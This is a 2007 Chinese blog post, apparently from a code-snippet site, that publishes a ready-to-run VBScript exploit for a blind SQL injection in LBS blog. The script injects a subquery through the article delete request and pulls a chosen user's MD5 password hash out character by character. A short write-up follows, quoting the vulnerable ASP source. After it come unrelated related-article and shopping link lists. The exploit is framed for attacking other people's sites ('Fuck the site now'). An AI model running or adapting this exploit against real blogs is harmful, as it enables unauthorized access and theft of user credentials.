LBS blog sql注射漏洞[All version]-官方已有补丁


Posted in Javascript onAugust 26, 2007

呵呵,只是证明下漏洞存在
exp如下,保存为vbs,自己下个程序测试自己吧

'From 剑心
'============================================================================
'使用说明:
' 在命令提示符下:
' cscript.exe lbsblog.vbs 要攻击的网站的博客路径 有效的文章id 要破解的博客用户密码
'如:
' cscript.exe lbsblog.vbs www.xxxx.com/blog/ 1 1
' by loveshell
'============================================================================
On Error Resume Next
Dim oArgs
Dim olbsXML 'XMLHTTP对象用来打开目标网址
Dim TargetURL '目标网址
Dim userid,articleid '博客用户名
Dim TempStr '存放已获取的部分 MD5密码
Dim CharHex '定义16进制字符
Dim charset

Set oArgs = WScript.arguments
If oArgs.count < 1 Then Call ShowUsage()

Set olbsXML = createObject("Microsoft.XMLHTTP")

'补充完整目标网址
TargetURL = oArgs(0)
If LCase(Left(TargetURL,7)) <> "http://" Then TargetURL = "http://" & TargetURL
If right(TargetURL,1) <> "/" Then TargetURL = TargetURL & "/"
TargetURL=TargetURL & "article.asp"

articleid=oArgs(1)
userid=oArgs(2)
TempStr=""
CharHex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")

WScript.echo "LBS blog All version Exploit"&vbcrlf
WScript.echo "By 剑心"&vbcrlf
WScript.echo "http://www.loveshell.net/    Just For fun :)"&vbcrlf&vbcrlf
WScript.echo "+Fuck the site now"&vbcrlf

Call main(TargetURL,BlogName) 

Set oBokeXML = Nothing

'----------------------------------------------sub-------------------------------------------------------
'============================================
'函数名称:main
'函数功能:主程序,注入获得blog 用户密码
'============================================
Sub main(TargetURL,BlogName)
Dim MainOffset,SubOffset,TempLen,OpenURL,GetPage
For MainOffset = 1 To 40
For SubOffset = 0 To 15
TempLen = 0
    postdata = ""
    postdata = articleid &" and (select left(user_password,"&MainOffset&") from blog_user where user_id=" & userid & ")='" & TempStr&CharHex(SubOffset) &"'"

    OpenURL = TargetURL

olbsXML.open "Post",OpenURL, False, "", ""
    olbsXML.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
olbsXML.send "act=delete&id="& escape(postdata)
GetPage = BytesToBstr(olbsXML.ResponseBody)
'判断访问的页面是否存在
If InStr(GetPage,"deleted")<>0 Then 
'"博客用户不存在或填写的资料有误" 为错误标志 ,返回此标志说明 猜解的 MD5 不正确
'如果得到 0000000000000000 的 MD5 值,请修改错误标志
ElseIf InStr(GetPage,"permission")<>0 Then
TempStr=TempStr & CharHex(SubOffset)
WScript.Echo "+Crack now:"&TempStr
Exit for
Else
WScript.echo vbcrlf & "Something error" & vbcrlf 
WScript.echo vbcrlf & GetPage& vbcrlf 
WScript.Quit
End If 
next
Next
WScript.Echo vbcrlf& "+We Got It:" & TempStr & vbcrlf &vbcrlf&":P Don't Be evil"
End sub

'============================================
'函数名称:BytesToBstr
'函数功能:将XMLHTTP对象中的内容转化为GB2312编码
'============================================
Function BytesToBstr(body)
dim objstream
set objstream = createObject("ADODB.Stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

'============================
'函数名称:ShowUsage
'函数功能:使用方法提示
'============================
Sub ShowUsage()
WScript.echo " LBS blog Exploit" & vbcrlf & " By Loveshell/剑心"
WScript.echo "Usage:"& vbcrlf & " CScript " & WScript.ScriptFullName &" TargetURL BlogName"
WScript.echo "Example:"& vbcrlf & " CScript " & WScript.ScriptFullName &" http://www.loveshell.net/ 1 1"
WScript.echo ""
WScript.Quit
End Sub

漏洞说明:

src_article.asp中的
......
input["log_id"]=func.checkInt(input["log_id"]);
if(!input["id"]){
strError=lang["invalid_parameter"];
}else{
// Check if the article exists
theArticle.load("log_id, log_authorID, log_catID","log_id="+input["id"]);
strError=false;
}
......

过滤的是log_id,但是使用的确实id,呵呵 :)

然后呢?
class/article.asp中的代码
this.load = function(strselect, strwhere){
var tmpA=connBlog.query("select TOP 1 "+strselect+" FROM [blog_Article] where "+strwhere);
if(tmpA){
this.fill(tmpA[0]);
return true;
}else{
return false;
}
}

上面不用说了吧,呵呵.不过触发要条件的,看能满足不哦!

function articledelete(){
if(theUser.rights["delete"]<1){
// Check User Right - without DB Query
pageHeader(lang["error"]);
redirectMessage(lang["error"], lang["no_rights"], lang["goback"], "javascript:window.history.back();", false, "errorbox");
}else{
var theArticle=new lbsArticle();
var strError;

默认情况下guest都有删除权限的,尽管后面还做了判断,但是注入已经发生,而我们正好利用他的判断注射,呵呵

Javascript 相关文章推荐
用prototype实现的简单小巧的多级联动菜单
Mar 24 Javascript
浅析JavaScript中的同名标识符优先级
Dec 06 Javascript
JS获取select-option-text_value的方法
Dec 26 Javascript
用js代码和插件实现wordpress雪花飘落效果的四种方法
Dec 15 Javascript
AngularJS表单验证功能
Oct 19 Javascript
webpack写jquery插件的环境配置
Dec 21 jQuery
JavaScript简单实现关键字文本搜索高亮显示功能示例
Jul 25 Javascript
详解可以用在VS Code中的正则表达式小技巧
May 14 Javascript
微信小程序全选多选效果实现代码解析
Jan 21 Javascript
解决echarts数据二次渲染不成功的问题
Jul 20 Javascript
javascript实现前端分页功能
Nov 26 Javascript
微信小程序实现购物车小功能
Dec 30 Javascript
javascript下操作css的float属性的特殊写法
Aug 22 #Javascript
ASP中用Join和Array,可以加快字符连接速度的代码
Aug 22 #Javascript
可以把编码转换成 gb2312编码lib.UTF8toGB2312.js
Aug 21 #Javascript
lib.utf.js
Aug 21 #Javascript
javascript实现上传图片前的预览(TX的面试题)
Aug 20 #Javascript
fix-ie5.js扩展在IE5下不能使用的几个方法
Aug 20 #Javascript
关于恒等于(===)和非恒等于(!==)
Aug 20 #Javascript
You might like
php URL编码解码函数代码
2009/03/10 PHP
php简单压缩css样式示例
2016/09/22 PHP
javascript 学习笔记(onchange等)
2010/11/14 Javascript
JavaScript获得url所有参数键值表的方法
2015/03/21 Javascript
javascript中Function类型详解
2015/04/28 Javascript
JS与Ajax Get和Post在使用上的区别实例详解
2016/06/08 Javascript
JS使用JSON作为参数实例分析
2016/06/23 Javascript
浅谈jquery页面初始化的4种方式
2016/11/27 Javascript
JavaScript两个变量交换值的实现方法
2017/03/01 Javascript
深究AngularJS之ui-router详解
2017/06/13 Javascript
highcharts 在angular中的使用示例代码
2017/09/20 Javascript
浅谈Angular文字折叠展开组件的原理分析
2017/11/24 Javascript
vue.extend实现alert模态框弹窗组件
2018/04/28 Javascript
Node.js之readline模块的使用详解
2019/03/25 Javascript
Vue.js 实现地址管理页面思路详解(地址添加、编辑、删除和设置默认地址)
2019/12/11 Javascript
小程序中的箭头函数的具体使用
2020/06/19 Javascript
Python自动化构建工具scons使用入门笔记
2015/03/10 Python
如何处理Python3.4 使用pymssql 乱码问题
2016/01/08 Python
对Python中DataFrame按照行遍历的方法
2018/04/08 Python
Python3使用正则表达式爬取内涵段子示例
2018/04/22 Python
Python面向对象之类和对象属性的增删改查操作示例
2018/12/14 Python
python爬虫利器之requests库的用法(超全面的爬取网页案例)
2020/12/17 Python
HTML5 canvas实现雪花飘落特效
2016/03/08 HTML / CSS
加拿大高尔夫超市:Golf Town
2018/01/12 全球购物
Hotels.com加拿大:领先的在线住宿网站
2018/10/05 全球购物
斯巴达比赛商店:Spartan Race
2019/01/08 全球购物
艺术系大学生毕业个人自我评价
2013/09/19 职场文书
英语专业学生个人求职信
2014/01/28 职场文书
小学教师寄语大全
2014/04/03 职场文书
思想道德自我评价2015
2015/03/09 职场文书
2015年七一建党节慰问信
2015/03/23 职场文书
蜗居观后感
2015/06/11 职场文书
大学生先进个人主要事迹材料
2015/11/04 职场文书
2016年质量月活动总结报告
2016/04/05 职场文书
详解Flutter和Dart取消Future的三种方法
2022/04/07 Java/Android
Python 一键获取电脑浏览器的账号密码
2022/05/11 Python